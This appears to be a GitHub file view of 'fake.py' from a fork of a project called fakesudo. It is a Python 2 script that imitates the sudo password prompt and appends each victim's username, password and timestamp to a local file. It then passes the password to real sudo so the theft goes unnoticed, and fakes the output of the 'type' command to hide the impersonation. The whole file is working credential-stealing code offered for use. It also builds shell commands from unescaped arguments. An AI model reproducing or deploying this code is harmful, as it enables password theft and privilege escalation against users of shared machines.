forked from Visgean/fakesudo
-
Notifications
You must be signed in to change notification settings - Fork 0
/
fake.py
72 lines (53 loc) · 1.14 KB
/
fake.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#! /usr/bin/python
# -*- coding: UTF-8 -*-
from getpass import *
import time
import os
import sys
catchFile = "--catched--"
def fakeSudo():
def savePass(passwd):
try:
file = open(catchFile, 'a')
except:
file = open(catchFile, 'w')
catch = "%s|%s|%s\n" % (getuser(), passwd, str(time.ctime()))
file.write(catch)
file.close()
# Catch pass:
try:
passwd = getpass("[fakesudo] password for %s: " % getuser())
except KeyboardInterrupt:
passwd = getpass("Password: ")
# Save pass:
savePass(passwd)
# Do the command:
# change this to some python pipeline or what!
sudocmd = 'echo "%s" | sudo -s %s' % (passwd, " ".join(sys.argv[2:]))
os.system(sudocmd)
def fakeType():
def typeType():
print "type is a shell builtin"
def typeSudo():
print "sudo is /usr/bin/sudo"
try:
args = sys.argv[2:]
if args:
for arg in args:
if arg == "type":
typeType()
elif arg == "sudo":
typeSudo()
else:
os.system("type %s" % arg)
except:
pass
try:
mode = sys.argv[1]
except:
print "You must specify what to do!"
exit()
if mode == "sudo":
fakeSudo()
if mode == "type":
fakeType()